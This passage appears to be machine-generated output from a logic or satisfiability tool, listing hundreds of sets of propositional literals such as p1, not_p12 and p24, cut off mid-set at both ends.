not_p4} {p2, not_p12, not_p5, p6, p11, not_p20, p8, p24, p14, not_p18, not_p4} {not_p21, p2, not_p5, p6, p11, not_p20, p8, p24, p14, not_p18, not_p4} {p1, p22, not_p5, p17, p11, p24, not_p3, p21, not_p4} {p1, p22, not_p5, p17, p11, not_p20, p24, not_p3, not_p4} {p1, p22, p12, not_p5, p17, p11, p24, not_p3, not_p4} {p18, p1, not_p12, not_p5, p17, p11, p24, not_p3, p21, not_p4} {not_p21, p18, p1, not_p5, p17, p11, p24, not_p3, p21, not_p4} {p20, p1, not_p12, not_p5, p17, p11, p24, not_p3, p21, not_p4} {not_p21, p20, p1, not_p5, p17, p11, p24, not_p3, p21, not_p4} {not_p21, p1, p3, not_p5, p17, p11, p24, not_p3, p21, not_p4} {p18, p1, not_p12, not_p5, p17, p11, not_p20, p24, not_p3, not_p4} {not_p21, p18, p1, not_p5, p17, p11, not_p20, p24, not_p3, not_p4} {p20, p1, not_p12, not_p5, p17, p11, not_p20, p24, not_p3, not_p4} {not_p21, p20, p1, not_p5, p17, p11, not_p20, p24, not_p3, not_p4} {not_p21, p1, p3, not_p5, p17, p11, not_p20, p24, not_p3, not_p4} {p18, p1, p12, not_p12, not_p5, p17, p11, p24, not_p3, not_p4} {not_p21, p18, p1, p12, not_p5, p17, p11, p24, not_p3, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p11, p24, not_p3, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p11, p24, not_p3, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p11, p24, not_p3, not_p4} {p1, p22, not_p5, p17, p11, p24, not_p25, p21, not_p4} {p1, p22, not_p5, p17, p11, not_p20, p24, not_p25, not_p4} {p1, p22, p12, not_p5, p17, p11, p24, not_p25, not_p4} {p18, p1, not_p12, not_p5, p17, p11, p24, not_p25, p21, not_p4} {not_p21, p18, p1, not_p5, p17, p11, p24, not_p25, p21, not_p4} {p20, p1, not_p12, not_p5, p17, p11, p24, not_p25, p21, not_p4} {not_p21, p20, p1, not_p5, p17, p11, p24, not_p25, p21, not_p4} {not_p21, p1, p3, not_p5, p17, p11, p24, not_p25, p21, not_p4} {p18, p1, not_p12, not_p5, p17, p11, not_p20, p24, not_p25, not_p4} {not_p21, p18, p1, not_p5, p17, p11, not_p20, p24, not_p25, not_p4} {p20, p1, not_p12, not_p5, p17, p11, not_p20, p24, not_p25, not_p4} {not_p21, p20, p1, not_p5, p17, p11, not_p20, p24, not_p25, not_p4} {not_p21, p1, p3, not_p5, p17, p11, not_p20, p24, not_p25, not_p4} {p18, p1, p12, not_p12, not_p5, p17, p11, p24, not_p25, not_p4} {not_p21, p18, p1, p12, not_p5, p17, p11, p24, not_p25, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p11, p24, not_p25, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p11, p24, not_p25, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p11, p24, not_p25, not_p4} {p18, p1, not_p12, not_p5, p17, p11, p24, p9, p21, not_p4} {p18, p1, p22, not_p5, p17, p11, p24, p9, p21, not_p4} {not_p21, p18, p1, not_p5, p17, p11, p24, p9, p21, not_p4} {p18, p1, not_p12, not_p5, p17, p11, not_p20, p24, p9, not_p4} {p18, p1, p22, not_p5, p17, p11, not_p20, p24, p9, not_p4} {not_p21, p18, p1, not_p5, p17, p11, not_p20, p24, p9, not_p4} {p18, p1, p12, not_p12, not_p5, p17, p11, p24, p9, not_p4} {p18, p1, p22, p12, not_p5, p17, p11, p24, p9, not_p4} {not_p21, p18, p1, p12, not_p5, p17, p11, p24, p9, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p11, p24, p9, p7, not_p4} {p1, p22, p12, not_p5, p17, p11, p24, p9, p7, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p11, p24, p9, p7, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p11, p24, p9, p7, not_p4} {p20, p1, not_p12, not_p5, not_p15, p17, p6, p11, p24, p9, p21, not_p4} {p20, p1, not_p12, not_p5, not_p15, p17, p6, p11, not_p20, p24, p9, not_p4} {not_p21, p20, p1, not_p5, not_p15, p17, p6, p11, p24, p9, p21, not_p4} {not_p21, p1, p3, not_p5, not_p15, p17, p6, p11, p24, p9, p21, not_p4} {p1, p22, not_p5, not_p15, p17, p6, p11, p24, p9, p21, not_p4} {p1, p22, not_p5, not_p15, p17, p6, p11, not_p20, p24, p9, not_p4} {not_p21, p20, p1, not_p5, not_p15, p17, p6, p11, not_p20, p24, p9, not_p4} {not_p21, p1, p3, not_p5, not_p15, p17, p6, p11, not_p20, p24, p9, not_p4} {p1, p22, not_p5, not_p15, p17, p11, p24, p9, p7, p21, not_p4} {p1, p22, not_p5, not_p15, p17, p11, not_p20, p24, p9, p7, not_p4} {not_p21, p1, p3, not_p5, not_p15, p17, p11, p24, p9, p7, p21, not_p4} {not_p21, p1, p3, not_p5, not_p15, p17, p11, not_p20, p24, p9, p7, not_p4} {p20, p1, not_p12, not_p5, not_p15, p17, p11, p24, p9, p7, p21, not_p4} {p20, p1, not_p12, not_p5, not_p15, p17, p11, not_p20, p24, p9, p7, not_p4} {not_p21, p20, p1, not_p5, not_p15, p17, p11, p24, p9, p7, p21, not_p4} {not_p21, p20, p1, not_p5, not_p15, p17, p11, not_p20, p24, p9, p7, not_p4} {p1, p22, not_p5, p17, p11, p24, p14, p21, not_p4} {p1, p22, not_p5, p17, p11, not_p20, p24, p14, not_p4} {p1, p22, p12, not_p5, p17, p11, p24, p14, not_p4} {p18, p1, not_p12, not_p5, p17, p11, p24, p14, p21, not_p4} {not_p21, p18, p1, not_p5, p17, p11, p24, p14, p21, not_p4} {p20, p1, not_p12, not_p5, p17, p11, p24, p14, p21, not_p4} {not_p21, p20, p1, not_p5, p17, p11, p24, p14, p21, not_p4} {not_p21, p1, p3, not_p5, p17, p11, p24, p14, p21, not_p4} {p18, p1, not_p12, not_p5, p17, p11, not_p20, p24, p14, not_p4} {not_p21, p18, p1, not_p5, p17, p11, not_p20, p24, p14, not_p4} {p20, p1, not_p12, not_p5, p17, p11, not_p20, p24, p14, not_p4} {not_p21, p20, p1, not_p5, p17, p11, not_p20, p24, p14, not_p4} {not_p21, p1, p3, not_p5, p17, p11, not_p20, p24, p14, not_p4} {p18, p1, p12, not_p12, not_p5, p17, p11, p24, p14, not_p4} {not_p21, p18, p1, p12, not_p5, p17, p11, p24, p14, not_p4} {p20, p1, p12, not_p12, not_p5, p17, p11, p24, p14, not_p4} {not_p21, p20, p1, p12, not_p5, p17, p11, p24, p14, not_p4} {not_p21, p1, p12, p3, not_p5, p17, p11, p24, p14, not_p4} {p1, p22, not_p5, p11, p24, not_p8, not_p3, p25, not_p4} {p1, p22, not_p5, p11, p24, not_p8, p14, p21, p25, not_p4} {p1, p22, not_p5, p11, not_p20, p24, not_p8, p14, p25, not_p4} {p1, p22, not_p5, p11, p24, not_p8, not_p25, p25, not_p4} {p1, p22, not_p5, not_p15, p6, p11, p24, not_p8, p9, p25, not_p4} {p18, p1, p22, not_p5, p11, p24, not_p8, p9, p25, not_p4} {p1, p22, not_p5, not_p15, p11, p24, not_p8, p9, p7, p25, not_p4} {p18, p1, not_p12, not_p5, p11, p24, not_p8, not_p3, p25, not_p4} {not_p21, p18, p1, not_p5, p11, p24, not_p8, not_p3, p25, not_p4} {p20, p1, not_p12, not_p5, p11, p24, not_p8, not_p3, p25, not_p4} {not_p21, p20, p1, not_p5, p11, p24, not_p8, not_p3, p25, not_p4} {not_p21, p1, p3, not_p5, p11, p24, not_p8, not_p3, p25, not_p4} {p18, p1, not_p12, not_p5, p11, p24, not_p8, p14, p21, p25, not_p4} {not_p21, p18, p1, not_p5, p11, p24, not_p8, p14, p21, p25, not_p4} {p18, p1, not_p12, not_p5, p11, not_p20, p24, not_p8, p14, p25, not_p4} {not_p21, p18, p1, not_p5, p11, not_p20, p24, not_p8, p14, p25, not_p4} {p20, p1, not_p12, not_p5, p11, p24, not_p8, p14, p21, p25, not_p4} {not_p21, p20, p1, not_p5, p11, p24, not_p8, p14, p21, p25, not_p4} {p20, p1, not_p12, not_p5, p11, not_p20, p24, not_p8, p14, p25, not_p4} {not_p21, p20, p1, not_p5, p11, not_p20, p24, not_p8, p14, p25, not_p4} {not_p21, p1, p3, not_p5, p11, p24, not_p8, p14, p21, p25, not_p4} {not_p21, p1, p3, not_p5, p11, not_p20, p24, not_p8, p14, p25, not_p4} {p18, p1, not_p12, not_p5, p11, p24, not_p8, not_p25, p25, not_p4} {not_p21, p18, p1, not_p5, p11, p24, not_p8, not_p25, p25, not_p4} {p20, p1, not_p12, not_p5, p11, p24, not_p8, not_p25, p25, not_p4} {not_p21, p20, p1, not_p5, p11, p24, not_p8, not_p25, p25, not_p4} {not_p21, p1, p3, not_p5, p11, p24, not_p8, not_p25, p25, not_p4} {p20, p1, not_p12, not_p5, not_p15, p6, p11, p24, not_p8, p9, p25, not_p4} {not_p21, p20, p1, not_p5, not_p15, p6, p11, p24, not_p8, p9, p25, not_p4} {not_p21, p1, p3, not_p5, not_p15, p6, p11, p24, not_p8, p9, p25, not_p4} {p18, p1, not_p12, not_p5, p11, p24, not_p8, p9, p25, not_p4} {not_p21, p18, p1, not_p5, p11, p24, not_p8, p9, p25, not_p4} {p20, p1, not_p12, not_p5, not_p15, p11, p24, not_p8, p9, p7, p25, not_p4} {not_p21, p20, p1, not_p5, not_p15, p11, p24, not_p8, p9, p7, p25, not_p4} {not_p21, p1, p3, not_p5, not_p15, p11, p24, not_p8, p9, p7, p25, not_p4} {p1, p22, p12, not_p5, p11, p24, not_p8, p14, not_p4} {p18, p1, p12, not_p12, not_p5, p11, p24, not_p8, p14, not_p4} {p20, p1, p12, not_p12, not_p5, p11, p24, not_p8, p14, not_p4} {not_p21, p1, p12, p3, not_p5, p11, p24, not_p8, p14, not_p4} {not_p21, p18, p1, p12, not_p5, p11, p24, not_p8, p14, not_p4} {not_p21, p20, p1, p12, not_p5, p11, p24, not_p8, p14, not_p4} {p1, p22, p12, not_p5, p11, p24, not_p8, not_p3, not_p4} {p18, p1, p22, p12, not_p5, p11, p24, not_p8, p9, not_p4} {p1, p22, p12, not_p5, p11, p24, not_p8, p9, p7, not_p4} {p1, p22, p12, not_p5, p11, p24, not_p8, not_p25, not_p4} {p18, p1, p12, not_p12, not_p5, p11, p24, not_p8, not_p3, not_p4} {not_p21, p18, p1, p12, not_p5, p11, p24, not_p8, not_p3, not_p4} {p20, p1, p12, not_p12, not_p5, p11, p24, not_p8, not_p3, not_p4} {not_p21, p20, p1, p12, not_p5, p11, p24, not_p8, not_p3, not_p4} {not_p21, p1, p12, p3, not_p5, p11, p24, not_p8, not_p3, not_p4} {p18, p1, p12, not_p12, not_p5, p11, p24, not_p8, p9, not_p4} {not_p21, p18, p1, p12, not_p5, p11, p24, not_p8, p9, not_p4} {p20, p1, p12, not_p12, not_p5, p11, p24, not_p8, p9, p7, not_p4} {not_p21, p20, p1, p12, not_p5, p11, p24, not_p8, p9, p7, not_p4} {not_p21, p1, p12, p3, not_p5, p11, p24, not_p8, p9, p7, not_p4} {p18, p1, p12, not_p12, not_p5, p11, p24, not_p8, not_p25, not_p4} {not_p21, p18, p1, p12, not_p5, p11, p24, not_p8, not_p25, not_p4} {p20, p1, p12, not_p12, not_p5, p11, p24, not_p8, not_p25, not_p4} {not_p21, p20, p1, p12, not_p5, p11, p24, not_p8, not_p25, not_p4} {not_p21, p1, p12, p3, not_p5, p11, p24, not_p8, not_p25, not_p4} {p1, p22, p12, not_p5, p11, p24, p14, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p11, p24, p14, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p11, p24, p14, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p11, p24, p14, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p11, p24, p14, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p11, p24, p14, not_p4, not_p19} {p1, p22, p12, not_p5, p11, p24, not_p3, not_p4, not_p19} {p18, p1, p22, p12, not_p5, p11, p24, p9, not_p4, not_p19} {p1, p22, p12, not_p5, p11, p24, p9, p7, not_p4, not_p19} {p1, p22, p12, not_p5, p11, p24, not_p25, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p11, p24, not_p3, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p11, p24, not_p3, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p11, p24, not_p3, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p11, p24, not_p3, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p11, p24, not_p3, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p11, p24, p9, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p11, p24, p9, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p11, p24, p9, p7, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p11, p24, p9, p7, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p11, p24, p9, p7, not_p4, not_p19} {p18, p1, p12, not_p12, not_p5, p11, p24, not_p25, not_p4, not_p19} {not_p21, p18, p1, p12, not_p5, p11, p24, not_p25, not_p4, not_p19} {p20, p1, p12, not_p12, not_p5, p11, p24, not_p25, not_p4, not_p19} {not_p21, p20, p1, p12, not_p5, p11, p24, not_p25, not_p4, not_p19} {not_p21, p1, p12, p3, not_p5, p11, p24, not_p25, not_p4, not_p19} {p1, p22, p12, not_p5, p6, p11, p24, p9, not_p4} {p1, p22, p12, not_p5, p6, p11, p24, p14, not_p4} {p1, p22, p12, not_p5, p6, p11, p24, not_p3, not_p4} {p1, p22, p12, not_p5, p6, p11, p24, not_p25, not_p4} {p18, p1, p12, not_p12, not_p5, p6, p11, p24, p9, not_p4} {p18, p1, p12, not_p12, not_p5, p6, p11, p24, p14, not_p4} {p18, p1, p12, not_p12, not_p5, p6, p11, p24, not_p3, not_p4} {p18, p1, p12, not_p12, not_p5, p6, p11, p24, not_p25, not_p4} {not_p21, p18, p1, p12, not_p5, p6, p11, p24, p9, not_p4} {not_p21, p18, p1, p12, not_p5, p6, p11, p24, p14, not_p4} {not_p21, p18, p1, p12, not_p5, p6, p11, p24, not_p3, not_p4} {not_p21, p18, p1, p12, not_p5, p6, p11, p24, not_p25, not_p4} {p20, p1, p12, not_p12, not_p5, p6, p11, p24, p9, not_p4} {p20, p1, p12, not_p12, not_p5, p6, p11, p24, p14, not_p4} {p20, p1, p12, not_p12, not_p5, p6, p11, p24, not_p3, not_p4} {p20, p1, p12, not_p12, not_p5, p6, p11, p24, not_p25, not_p4} {not_p21, p20, p1, p12, not_p5, p6, p11, p24, p9, not_p4} {not_p21, p20, p1, p12, not_p5, p6, p11, p24, p14, not_p4} {not_p21, p20, p1, p12, not_p5, p6, p11, p24, not_p3, not_p4} {not_p21, p20, p1, p12, not_p5, p6, p11, p24, not_p25, not_p4} {not_p21, p1, p12, p3, not_p5, p6, p11, p24, p9, not_p4} {not_p21, p1, p12, p3, not_p5, p6, p11, p24, p14, not_p4} {not_p21, p1, p12, p3, not_p5, p6, p11, p24, not_p3, not_p4} {not_p21, p1, p12, p3, not_p5, p6, p11, p24, not_p25, not_p4} {p22, not_p16, p5, p17, p11, p24, not_p3, not_p4} {p22, p2, p5, p17, p11, p24, not_p3, not_p4} {p1, p22, p5, p17, p11, p24, not_p3, not_p4} {p22, not_p16, p5, p17, p11, p24, p14, not_p4} {p22, p2, p5, p17, p11, p24, p14, not_p4} {p1, p22, p5, p17, p11, p24, p14, not_p4} {p22, not_p16, p5, p17, p11, p24, not_p25, not_p4} {p22, p2, p5, p17, p11, p24, not_p25, not_p4} {p1, p22, p5, p17, p11, p24, not_p25, not_p4} {p22, not_p16, p5, p17, p11, p24, p9, not_p4} {p18, p1, p22, p5, p17, p11, p24, p9, not_p4} {p1, p22, p5, not_p15, p17, p6, p11, p24, p9, not_p4} {p1, p22, p5, not_p15, p17, p11, p24, p9, p7, not_p4} {p22, p2, p5, p17, p11, p24, p9, not_p4} {not_p16, not_p12, p5, p17, p11, p24, not_p3, not_p4, not_p19} {p2, not_p12, p5, p17, p11, p24, not_p3, not_p4, not_p19} {p18, p1, not_p12, p5, p17, p11, p24, not_p3, not_p4, not_p19} {p20, p1, not_p12, p5, p17, p11, p24, not_p3, not_p4, not_p19} {not_p21, not_p16, p5, p17, p11, p24, not_p3, not_p4, not_p19} {not_p21, p2, p5, p17, p11, p24, not_p3, not_p4, not_p19} {not_p21, p18, p1, p5, p17, p11, p24, not_p3, not_p4, not_p19} {not_p21, p20, p1, p5, p17, p11, p24, not_p3, not_p4, not_p19} {not_p16, not_p12, not_p5, p5, p17, p11, p24, not_p3, not_p4} {p2, not_p12, not_p5, p5, p17, p11, p24, not_p3, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p11, p24, not_p3, not_p4} {p20, p1, not_p12, not_p5, p5, p17, p11, p24, not_p3, not_p4} {not_p21, not_p16, not_p5, p5, p17, p11, p24, not_p3, not_p4} {not_p21, p2, not_p5, p5, p17, p11, p24, not_p3, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p11, p24, not_p3, not_p4} {not_p21, p20, p1, not_p5, p5, p17, p11, p24, not_p3, not_p4} {not_p16, not_p12, p5, p17, p11, p24, not_p25, not_p4, not_p19} {p2, not_p12, p5, p17, p11, p24, not_p25, not_p4, not_p19} {p18, p1, not_p12, p5, p17, p11, p24, not_p25, not_p4, not_p19} {p20, p1, not_p12, p5, p17, p11, p24, not_p25, not_p4, not_p19} {not_p21, not_p16, p5, p17, p11, p24, not_p25, not_p4, not_p19} {not_p21, p2, p5, p17, p11, p24, not_p25, not_p4, not_p19} {not_p21, p18, p1, p5, p17, p11, p24, not_p25, not_p4, not_p19} {not_p21, p20, p1, p5, p17, p11, p24, not_p25, not_p4, not_p19} {not_p16, not_p12, not_p5, p5, p17, p11, p24, not_p25, not_p4} {p2, not_p12, not_p5, p5, p17, p11, p24, not_p25, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p11, p24, not_p25, not_p4} {p20, p1, not_p12, not_p5, p5, p17, p11, p24, not_p25, not_p4} {not_p21, not_p16, not_p5, p5, p17, p11, p24, not_p25, not_p4} {not_p21, p2, not_p5, p5, p17, p11, p24, not_p25, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p11, p24, not_p25, not_p4} {not_p21, p20, p1, not_p5, p5, p17, p11, p24, not_p25, not_p4} {not_p16, not_p12, p5, p17, p11, p24, p9, not_p4, not_p19} {p18, p1, not_p12, p5, p17, p11, p24, p9, not_p4, not_p19} {p20, p1, not_p12, p5, not_p15, p17, p6, p11, p24, p9, not_p4, not_p19} {p20, p1, not_p12, p5, not_p15, p17, p11, p24, p9, p7, not_p4, not_p19} {p2, not_p12, p5, p17, p11, p24, p9, not_p4, not_p19} {not_p21, not_p16, p5, p17, p11, p24, p9, not_p4, not_p19} {not_p21, p18, p1, p5, p17, p11, p24, p9, not_p4, not_p19} {not_p21, p20, p1, p5, not_p15, p17, p6, p11, p24, p9, not_p4, not_p19} {not_p21, p20, p1, p5, not_p15, p17, p11, p24, p9, p7, not_p4, not_p19} {not_p21, p2, p5, p17, p11, p24, p9, not_p4, not_p19} {not_p16, not_p12, not_p5, p5, p17, p11, p24, p9, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p11, p24, p9, not_p4} {p20, p1, not_p12, not_p5, p5, not_p15, p17, p6, p11, p24, p9, not_p4} {p20, p1, not_p12, not_p5, p5, not_p15, p17, p11, p24, p9, p7, not_p4} {p2, not_p12, not_p5, p5, p17, p11, p24, p9, not_p4} {not_p21, not_p16, not_p5, p5, p17, p11, p24, p9, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p11, p24, p9, not_p4} {not_p21, p20, p1, not_p5, p5, not_p15, p17, p6, p11, p24, p9, not_p4} {not_p21, p20, p1, not_p5, p5, not_p15, p17, p11, p24, p9, p7, not_p4} {not_p21, p2, not_p5, p5, p17, p11, p24, p9, not_p4} {not_p16, not_p12, p5, p17, p11, p24, p14, p25, not_p4, not_p19} {p2, not_p12, p5, p17, p11, p24, p14, p25, not_p4, not_p19} {p18, p1, not_p12, p5, p17, p11, p24, p14, p25, not_p4, not_p19} {p20, p1, not_p12, p5, p17, p11, p24, p14, p25, not_p4, not_p19} {not_p21, not_p16, p5, p17, p11, p24, p14, p25, not_p4, not_p19} {not_p21, p2, p5, p17, p11, p24, p14, p25, not_p4, not_p19} {not_p21, p18, p1, p5, p17, p11, p24, p14, p25, not_p4, not_p19} {not_p21, p20, p1, p5, p17, p11, p24, p14, p25, not_p4, not_p19} {not_p16, not_p12, not_p5, p5, p17, p11, p24, p14, p25, not_p4} {p2, not_p12, not_p5, p5, p17, p11, p24, p14, p25, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p11, p24, p14, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p17, p11, p24, p14, p25, not_p4} {not_p21, not_p16, not_p5, p5, p17, p11, p24, p14, p25, not_p4} {not_p21, p2, not_p5, p5, p17, p11, p24, p14, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p11, p24, p14, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p17, p11, p24, p14, p25, not_p4} {p22, not_p16, p5, p17, p8, p24, not_p3, not_p4} {p22, p2, p5, p17, p8, p24, not_p3, not_p4} {p1, p22, p5, p17, p8, p24, not_p3, not_p4} {p22, not_p16, p5, p17, p8, p24, p14, not_p4} {p22, p2, p5, p17, p8, p24, p14, not_p4} {p1, p22, p5, p17, p8, p24, p14, not_p4} {p22, not_p16, p5, p17, p8, p24, not_p25, not_p4} {p22, p2, p5, p17, p8, p24, not_p25, not_p4} {p1, p22, p5, p17, p8, p24, not_p25, not_p4} {p22, not_p16, p5, p17, p8, p24, p9, not_p4} {p18, p1, p22, p5, p17, p8, p24, p9, not_p4} {p1, p22, p5, not_p15, p17, p8, p24, p9, p7, not_p4} {p22, p2, p5, p17, p8, p24, p9, not_p4} {not_p16, not_p12, not_p5, p5, p17, p8, p24, not_p3, p25, not_p4} {p2, not_p12, not_p5, p5, p17, p8, p24, not_p3, p25, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p8, p24, not_p3, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p17, p8, p24, not_p3, p25, not_p4} {not_p21, not_p16, not_p5, p5, p17, p8, p24, not_p3, p25, not_p4} {not_p21, p2, not_p5, p5, p17, p8, p24, not_p3, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p8, p24, not_p3, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p17, p8, p24, not_p3, p25, not_p4} {not_p16, not_p12, not_p5, p5, p17, p8, p24, not_p3, p21, not_p4} {p2, not_p12, not_p5, p5, p17, p8, p24, not_p3, p21, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p8, p24, not_p3, p21, not_p4} {p20, p1, not_p12, not_p5, p5, p17, p8, p24, not_p3, p21, not_p4} {not_p21, not_p16, not_p5, p5, p17, p8, p24, not_p3, p21, not_p4} {not_p21, p2, not_p5, p5, p17, p8, p24, not_p3, p21, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p8, p24, not_p3, p21, not_p4} {not_p21, p20, p1, not_p5, p5, p17, p8, p24, not_p3, p21, not_p4} {not_p16, not_p12, not_p5, p5, p17, p8, p24, not_p25, p25, not_p4} {p2, not_p12, not_p5, p5, p17, p8, p24, not_p25, p25, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p8, p24, not_p25, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p17, p8, p24, not_p25, p25, not_p4} {not_p21, not_p16, not_p5, p5, p17, p8, p24, not_p25, p25, not_p4} {not_p21, p2, not_p5, p5, p17, p8, p24, not_p25, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p8, p24, not_p25, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p17, p8, p24, not_p25, p25, not_p4} {not_p16, not_p12, not_p5, p5, p17, p8, p24, not_p25, p21, not_p4} {p2, not_p12, not_p5, p5, p17, p8, p24, not_p25, p21, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p8, p24, not_p25, p21, not_p4} {p20, p1, not_p12, not_p5, p5, p17, p8, p24, not_p25, p21, not_p4} {not_p21, not_p16, not_p5, p5, p17, p8, p24, not_p25, p21, not_p4} {not_p21, p2, not_p5, p5, p17, p8, p24, not_p25, p21, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p8, p24, not_p25, p21, not_p4} {not_p21, p20, p1, not_p5, p5, p17, p8, p24, not_p25, p21, not_p4} {not_p16, not_p12, not_p5, p5, p17, p8, p24, p14, p25, not_p4} {p2, not_p12, not_p5, p5, p17, p8, p24, p14, p25, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p8, p24, p14, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p17, p8, p24, p14, p25, not_p4} {not_p21, not_p16, not_p5, p5, p17, p8, p24, p14, p25, not_p4} {not_p21, p2, not_p5, p5, p17, p8, p24, p14, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p8, p24, p14, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p17, p8, p24, p14, p25, not_p4} {not_p16, not_p12, not_p5, p5, p17, p8, p24, p14, p21, not_p4} {p2, not_p12, not_p5, p5, p17, p8, p24, p14, p21, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p8, p24, p14, p21, not_p4} {p20, p1, not_p12, not_p5, p5, p17, p8, p24, p14, p21, not_p4} {not_p21, not_p16, not_p5, p5, p17, p8, p24, p14, p21, not_p4} {not_p21, p2, not_p5, p5, p17, p8, p24, p14, p21, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p8, p24, p14, p21, not_p4} {not_p21, p20, p1, not_p5, p5, p17, p8, p24, p14, p21, not_p4} {not_p16, not_p12, not_p5, p5, p17, p8, p24, p9, p25, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p8, p24, p9, p25, not_p4} {p20, p1, not_p12, not_p5, p5, not_p15, p17, p8, p24, p9, p7, p25, not_p4} {p2, not_p12, not_p5, p5, p17, p8, p24, p9, p25, not_p4} {not_p21, not_p16, not_p5, p5, p17, p8, p24, p9, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p8, p24, p9, p25, not_p4} {not_p21, p20, p1, not_p5, p5, not_p15, p17, p8, p24, p9, p7, p25, not_p4} {not_p21, p2, not_p5, p5, p17, p8, p24, p9, p25, not_p4} {not_p16, not_p12, not_p5, p5, p17, p8, p24, p9, p21, not_p4} {p18, p1, not_p12, not_p5, p5, p17, p8, p24, p9, p21, not_p4} {p2, not_p12, not_p5, p5, p17, p8, p24, p9, p21, not_p4} {not_p21, not_p16, not_p5, p5, p17, p8, p24, p9, p21, not_p4} {not_p21, p18, p1, not_p5, p5, p17, p8, p24, p9, p21, not_p4} {not_p21, p2, not_p5, p5, p17, p8, p24, p9, p21, not_p4} {p22, not_p16, p5, p8, p24, not_p8, p14, not_p4} {p22, p2, p5, p8, p24, not_p8, p14, not_p4} {p1, p22, p5, p8, p24, not_p8, p14, not_p4} {p22, not_p16, p5, p11, p24, not_p8, p14, p25, not_p4} {p22, p2, p5, p11, p24, not_p8, p14, p25, not_p4} {p1, p22, p5, p11, p24, not_p8, p14, p25, not_p4} {not_p16, not_p12, p5, p11, p24, not_p8, p14, p25, not_p4, not_p19} {not_p21, not_p16, p5, p11, p24, not_p8, p14, p25, not_p4, not_p19} {not_p16, not_p12, not_p5, p5, p11, p24, not_p8, p14, p25, not_p4} {not_p21, not_p16, not_p5, p5, p11, p24, not_p8, p14, p25, not_p4} {p2, not_p12, p5, p11, p24, not_p8, p14, p25, not_p4, not_p19} {not_p21, p2, p5, p11, p24, not_p8, p14, p25, not_p4, not_p19} {p2, not_p12, not_p5, p5, p11, p24, not_p8, p14, p25, not_p4} {not_p21, p2, not_p5, p5, p11, p24, not_p8, p14, p25, not_p4} {p18, p1, not_p12, p5, p11, p24, not_p8, p14, p25, not_p4, not_p19} {not_p21, p18, p1, p5, p11, p24, not_p8, p14, p25, not_p4, not_p19} {not_p21, p20, p1, p5, p11, p24, not_p8, p14, p25, not_p4, not_p19} {p20, p1, not_p12, p5, p11, p24, not_p8, p14, p25, not_p4, not_p19} {p18, p1, not_p12, not_p5, p5, p11, p24, not_p8, p14, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p11, p24, not_p8, p14, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p11, p24, not_p8, p14, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p11, p24, not_p8, p14, p25, not_p4} {not_p16, not_p12, not_p5, p5, p8, p24, not_p8, p14, p25, not_p4} {p2, not_p12, not_p5, p5, p8, p24, not_p8, p14, p25, not_p4} {p18, p1, not_p12, not_p5, p5, p8, p24, not_p8, p14, p25, not_p4} {p20, p1, not_p12, not_p5, p5, p8, p24, not_p8, p14, p25, not_p4} {not_p21, not_p16, not_p5, p5, p8, p24, not_p8, p14, p25, not_p4} {not_p21, p2, not_p5, p5, p8, p24, not_p8, p14, p25, not_p4} {not_p21, p18, p1, not_p5, p5, p8, p24, not_p8, p14, p25, not_p4} {not_p21, p20, p1, not_p5, p5, p8, p24, not_p8, p14, p25, not_p4} {p22, not_p16, p5, p8, p24, p14, not_p4, not_p19} {p22, p2, p5, p8, p24, p14, not_p4, not_p19} {p1, p22, p5, p8, p24, p14, not_p4, not_p19} {not_p16, not_p12, p5, p8, p24, p14, p25, not_p4, not_p19} {p2, not_p12, p5, p8, p24, p14, p25, not_p4, not_p19} {p18, p1, not_p12, p5, p8, p24, p14, p25, not_p4, not_p19} {p20, p1, not_p12, 